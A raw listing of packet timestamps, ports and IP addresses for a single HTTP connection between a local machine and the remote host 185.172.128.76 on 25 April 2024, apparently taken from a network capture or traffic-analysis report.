Apr 25, 2024 14:42:11.724307060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724383116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724395990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724425077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724441051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724455118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724469900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724503994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724529982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724543095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.724569082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.724595070 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.764589071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.972758055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084508896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084530115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084590912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.084619045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.084742069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084758043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084769011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084785938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.084801912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.084819078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.084873915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084888935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.084917068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.084932089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.085017920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.085031033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.085042000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.085052967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.085058928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.085073948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.085094929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.137716055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.137777090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.137825966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.137876034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.137881994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.137918949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.137928009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.137988091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138041973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138192892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138231039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138243914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138268948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138274908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138319969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138375998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138412952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138427973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138448954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138459921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138488054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138494015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138525009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138531923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138564110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138578892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138603926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138612032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138642073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138652086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138679981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138689995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138726950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.138750076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.138798952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.139117956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.139158010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.139178038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.139197111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.139206886 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.139242887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.139839888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.139900923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193208933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193269968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193317890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193331957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193358898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193358898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193500042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193557024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193572044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193608999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193625927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193659067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193747997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193798065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193844080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193881989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193896055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193933010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.193955898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.193994999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194009066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194037914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194066048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194108963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194119930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194154024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194161892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194200993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194215059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194236994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194251060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194257021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194272041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194283009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194304943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194320917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194320917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194360018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194380045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194425106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194437027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194447994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194484949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194539070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194551945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194583893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194606066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194631100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194642067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194670916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194691896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194709063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194737911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194783926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194807053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194855928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194861889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194897890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194933891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194947004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194958925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.194988966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.194989920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.195012093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.195039034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.195221901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.195278883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.195339918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.195380926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.195391893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.195422888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.195426941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.195476055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.195476055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.195519924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.195523977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.195566893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.426103115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.426152945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.632396936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.632424116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.767855883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:12.768027067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:12.814483881 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:13.020812035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.135463953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.135485888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.135497093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.135596991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:13.138169050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:13.344449043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.457357883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.457375050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.457431078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:13.670334101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:13.670382977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:13.876648903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:13.876669884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.007802963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.007893085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:14.092359066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:14.092400074 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:14.298619032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.298638105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.298650980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.447844028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.447971106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:14.462805033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:14.462857008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:14.669049978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.669068098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.669091940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.802809000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:14.802895069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:15.901424885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:15.901465893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.107810974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.107847929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.107883930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.236145020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.236244917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.243242025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.243267059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.449479103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.449505091 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.587302923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.587378025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.592767000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.592797041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.799072027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.799098969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.799117088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.929486990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:16.929548979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.937652111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:16.937680006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.144069910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.144098043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.276804924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.276861906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.282232046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.282253981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.488475084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.488502026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.615958929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.616034031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.621004105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.621062994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.827172041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.827219009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.827234030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.965348005 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:17.965497971 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.983102083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:17.983491898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:18.189385891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:18.189763069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:18.317006111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:18.317164898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:18.335302114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:18.335302114 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:18.541691065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:18.541732073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:18.672183037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:18.672307968 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:18.677005053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:18.677005053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:18.883301973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.018448114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.018512964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.079807043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.079862118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.286153078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.425157070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.425242901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.431201935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.431241989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.637403011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.637427092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.772525072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.772631884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.778012991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.778058052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:19.984329939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:19.984353065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.113882065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.114264965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.118938923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.119023085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.325329065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.325350046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.447599888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.447767019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.454015970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.454060078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.660347939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.660368919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.789201021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:20.789283991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.794477940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:20.794507027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.000799894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.131130934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.131242037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.138978958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.139051914 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.345392942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.345840931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.482285023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.482367992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.488650084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.488717079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.695002079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.695024014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.834044933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:21.834199905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.839638948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:21.839698076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.045984983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.046031952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.179229975 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.179311037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.184519053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.184552908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.390774965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.390795946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.522368908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.522478104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.527955055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.527992010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.734144926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.734164953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.868501902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:22.868685007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.874249935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:22.874284983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.081033945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.081094027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.210191965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.210273981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.217242002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.217303038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.423532009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.423557043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.423573017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.548203945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.548388004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.553731918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.553776979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.760050058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.760063887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.760134935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.889503956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:23.889699936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:23.895248890 CEST	49731	80	192.168.2.4	185.172.128.76
